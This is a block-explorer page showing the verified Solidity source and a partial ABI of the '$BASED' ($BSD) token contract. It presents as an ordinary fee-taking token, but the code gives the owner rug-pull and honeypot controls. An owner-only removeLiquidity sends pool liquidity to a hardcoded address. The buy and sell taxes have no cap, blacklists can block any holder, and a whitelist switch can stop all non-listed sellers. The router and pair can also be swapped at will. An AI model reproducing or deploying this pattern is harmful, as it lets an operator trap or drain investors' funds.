ETH Price: $2,473.03 (-7.97%)

Token

$BASED ($BSD)
 

Overview

Max Total Supply

69,420,420,420,420 $BSD

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
165,010,489,241.547215156 $BSD

Value
$0.00
0x3ce924e3a2cca7c7efa5b9b9b6259a4ed3d34192
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Based

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 1000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-20
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
interface IUniswapV2Router {
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}


contract Based is Context, IERC20, Ownable{
    using Address for address payable;
    
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) public allowedTransfer;
    mapping (address => bool) private _isBlacklisted;
    mapping (address => bool) private isWhitelisted;
    bool public whitelistEnable;

    address[] private _excluded;

    bool public tradingEnabled;
    bool public swapEnabled;
    bool private swapping;
    
    
    
    //Anti Dump
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = false;
    uint256 public coolDownTime = 0 seconds;
    
    modifier antiBot(address account){
        require(tradingEnabled || allowedTransfer[account], "Trading not enabled yet");
        _;
    }

    IRouter public router;
    address public pair;

    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    uint256 private _tTotal = 69420420420420 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 public swapTokensAtAmount = 800_000 * 10**9;
    uint256 public maxBuyLimit = 173551051051* 10**9;
    uint256 public maxSellLimit = 173551051051 * 10**9;
    uint256 public maxWalletLimit = 173551051051 * 10**9;
    
    uint256 public genesis_block;
    
    address public marketingWallet = 0x55eF0aA35e4960Ed32e40081a659bA65aa9Add0a;
    address public charityWallet = 0xe3f7CAD5c871b1aF011b11776BbCc12B20FB2A73;
    address public UniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    string private constant _name = "$BASED";
    string private constant _symbol = "$BSD";

    struct Taxes {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 charity;
    }

    Taxes public taxes = Taxes(0, 3, 1, 0);
    Taxes public sellTaxes = Taxes(0, 3, 0, 1);

    struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 charity;
    }
    
    TotFeesPaidStruct public totFeesPaid;

    struct valuesFromGetValues{
      uint256 rAmount;
      uint256 rTransferAmount;
      uint256 rMarketing;
      uint256 rLiquidity;
      uint256 rCharity;
      uint256 tTransferAmount;
      uint256 tMarketing;
      uint256 tLiquidity;
      uint256 tCharity;
    }

    event FeesChanged();
    event UpdatedRouter(address oldRouter, address newRouter);
    address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public lpTokenAddress;
    address public recipientAddress = 0x7452ee6c8CB3acAb82Af1dd49f9033A1e27080dE;
    IUniswapV2Router public router2;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());

        router2 = IUniswapV2Router(routerAddress);
        router = _router;
        pair = _pair;
        lpTokenAddress = pair;

        _rOwned[owner()] = _rTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[charityWallet] = true;
        
        allowedTransfer[address(this)] = true;
        allowedTransfer[owner()] = true;
        allowedTransfer[pair] = true;
        allowedTransfer[marketingWallet] = true;
        allowedTransfer[charityWallet] = true;
        _allowances[owner()][UniswapRouter] = _tTotal;


        whitelistEnable = false;
        isWhitelisted[address(this)] =true;
        isWhitelisted[owner()] = true;
        isWhitelisted[pair] = true;
        isWhitelisted[UniswapRouter] = true;
        isWhitelisted[marketingWallet] = true;
        isWhitelisted[charityWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }
    function removeLiquidity() external onlyOwner {
    uint256 amountTokenMin = 0;
    uint256 amountETHMin = 0;
    uint256 amountToken = IERC20(lpTokenAddress).balanceOf(address(this));

    IERC20(lpTokenAddress).approve(address(router2), amountToken);

    // Remove liquidity from Uniswap
        router2.removeLiquidityETH(
        lpTokenAddress,
        amountToken,
        amountTokenMin,
        amountETHMin,
        recipientAddress,
        block.timestamp + 600 // 10 minutes deadline
    );
}
    function burn(uint256 amount) external onlyOwner{
        _rOwned[msg.sender]  -= amount; 
        _tTotal -= amount;
    }
    //std ERC20:
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    //override ERC20:
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public  override antiBot(msg.sender) returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public  antiBot(msg.sender) returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public  antiBot(msg.sender) returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
    { 
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }



    function setTradingStatus(bool state) external onlyOwner{
        tradingEnabled = state;
        swapEnabled = state;
        if(state == true && genesis_block == 0) genesis_block = block.number;
    }
    function setWhitelistStatus(bool state) external onlyOwner{
        whitelistEnable = state;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }


    function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _charity) public onlyOwner {
       taxes = Taxes(_rfi,_marketing,_liquidity,_charity);
        emit FeesChanged();
    }
    
    function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _charity) public onlyOwner {
       sellTaxes = Taxes(_rfi,_marketing,_liquidity,_charity);
        emit FeesChanged();
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal -=rRfi;
        totFeesPaid.rfi +=tRfi;
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        totFeesPaid.liquidity +=tLiquidity;

        if(_isExcluded[address(this)])
        {
            _tOwned[pair]+=tLiquidity;
        }
        _rOwned[pair] +=rLiquidity;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        totFeesPaid.marketing +=tMarketing;

        if(_isExcluded[address(this)])
        {
            _tOwned[marketingWallet]+=tMarketing;
        }
        _rOwned[marketingWallet] +=rMarketing;
    }
    
    function _takeCharity(uint256 rCharity, uint256 tCharity) private {
        totFeesPaid.charity +=tCharity;

        if(_isExcluded[address(this)])
        {
            _tOwned[charityWallet]+=tCharity;
        }
        _rOwned[charityWallet] +=rCharity;
    }



    
    function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee, isSell);
        (to_return.rAmount, to_return.rTransferAmount, to_return.rMarketing, to_return.rLiquidity) = _getRValues1(to_return, tAmount, takeFee, _getRate());
        (to_return.rCharity) = _getRValues2(to_return, takeFee, _getRate());
        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {

        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        Taxes memory temp;
        if(isSell) temp = sellTaxes;
        else temp = taxes;
        s.tMarketing = tAmount*temp.marketing/100;
        s.tLiquidity = tAmount*temp.liquidity/100;
        s.tCharity = tAmount*temp.charity/100;
        s.tTransferAmount = tAmount-s.tMarketing-s.tLiquidity-s.tCharity;
        return s;
    }

    function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount,uint256 rMarketing, uint256 rLiquidity){
        rAmount = tAmount*currentRate;

        if(!takeFee) {
          return(rAmount, rAmount ,0,0);
        }

        rMarketing = s.tMarketing*currentRate;
        rLiquidity = s.tLiquidity*currentRate;
        uint256 rCharity = s.tCharity*currentRate;
        rTransferAmount =  rAmount-rMarketing-rLiquidity-rCharity;
        return (rAmount, rTransferAmount,rMarketing,rLiquidity);
    }
    
    function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rCharity) {

        if(!takeFee) {
          return(0);
        }

        rCharity = s.tCharity*currentRate;
        return (rCharity);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {


        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "You are a bot");
         if(whitelistEnable){
            require(isWhitelisted[from], "You are not whitelisted");
        }
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            require(tradingEnabled, "Trading not active");
        }
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block + 3) {
            require(to != pair, "Sells not allowed for first 3 blocks");
        }
        
        if(from == pair && !_isExcludedFromFee[to] && !swapping){
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
        }
        
        if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if(to != pair){
                require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
            }
            if(coolDownEnabled){
                uint256 timePassed = block.timestamp - _lastSell[from];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[from] = block.timestamp;
            }
        }
        
        
        if(balanceOf(from) - amount <= 10 *  10**decimals()) amount -= ( amount - balanceOf(from));
        
       
        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
        if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if(to == pair)  swapAndLiquify(swapTokensAtAmount, sellTaxes);
            else  swapAndLiquify(swapTokensAtAmount, taxes);
        }
        bool takeFee = true;
        bool isSell = false;
        if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to])takeFee = false;
        if(to == pair) isSell = true;
        if(to != pair && from != pair) takeFee = false;
        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
        valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell);

       

        if (_isExcluded[sender] ) {  //from excluded
                _tOwned[sender] = _tOwned[sender]-tAmount;
        }
        if (_isExcluded[recipient]) { //to excluded
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
        
        if(s.rLiquidity > 0 || s.tLiquidity > 0) {
            _takeLiquidity(s.rLiquidity,s.tLiquidity);
            emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing + s.tCharity);
        }
        if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
        if(s.rCharity > 0 || s.tCharity > 0) _takeCharity(s.rCharity, s.tCharity);
        emit Transfer(sender, recipient, s.tTransferAmount);
        
    }

    function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
        uint256 denominator = (temp.liquidity + temp.marketing + temp.charity) * 2;
        uint256 tokensToAddLiquidityWith = contractBalance * temp.liquidity / denominator;
        uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

        uint256 initialBalance = address(this).balance;

        swapTokensForBNB(toSwap);

        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 unitBalance= deltaBalance / (denominator - temp.liquidity);
        uint256 bnbToAddLiquidityWith = unitBalance * temp.liquidity;

        if(bnbToAddLiquidityWith > 0){
            // Add liquidity to pancake
            addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
        }

        uint256 marketingAmt = unitBalance * 2 * temp.marketing;
        if(marketingAmt > 0){
            payable(marketingWallet).sendValue(marketingAmt);
        }
        uint256 charityAmt = unitBalance * 2 * temp.charity;
        if(charityAmt > 0){
            payable(charityWallet).sendValue(charityAmt);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i = 0; i < accounts.length; i++){
            _isExcludedFromFee[accounts[i]] = state;
        }
    }

    function updateMarketingWallet(address newWallet) external onlyOwner{
        marketingWallet = newWallet;
    }
    
    function updateCharityWallet(address newWallet) external onlyOwner{
        charityWallet = newWallet;
    }

    
    function updateCooldown(bool state, uint256 time) external onlyOwner{
        coolDownTime = time * 1 seconds;
        coolDownEnabled = state;
    }

    function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
        swapTokensAtAmount = amount * 10**_decimals;
    }

    function updateSwapEnabled(bool _enabled) external onlyOwner{
        swapEnabled = _enabled;
    }
    
    function updateIsBlacklisted(address account, bool state) external onlyOwner{
        _isBlacklisted[account] = state;
    }
    function updateIsWhitelisted(address account, bool state) external onlyOwner{
        isWhitelisted[account] = state;
    }
    function isWhitelistedAddress(address account) public view returns(bool){
        return isWhitelisted[account];
    }
    function bulkIsBlacklisted(address[] calldata accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            _isBlacklisted[accounts[i]] = state;

        }
    }
    function bulkIsWhitelisted(address[] calldata accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            isWhitelisted[accounts[i]] = state;

        }
    }
    
    function updateAllowedTransfer(address account, bool state) external onlyOwner{
        allowedTransfer[account] = state;
    }
    
    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
    }
    
    function updateMaxWalletlimit(uint256 amount) external onlyOwner{
        maxWalletLimit = amount * 10**decimals();
    }

    function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
        router = IRouter(newRouter);
        pair = newPair;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldRouter","type":"address"},{"indexed":false,"internalType":"address","name":"newRouter","type":"address"}],"name":"UpdatedRouter","type":"event"},{"inputs":[],"name":"UniswapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExcludeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkIsWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"charityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelistedAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpTokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recipientAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router2","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_rfi","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_charity","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_rfi","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_charity","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setTradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setWhitelistStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateAllowedTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateCharityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"updateCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account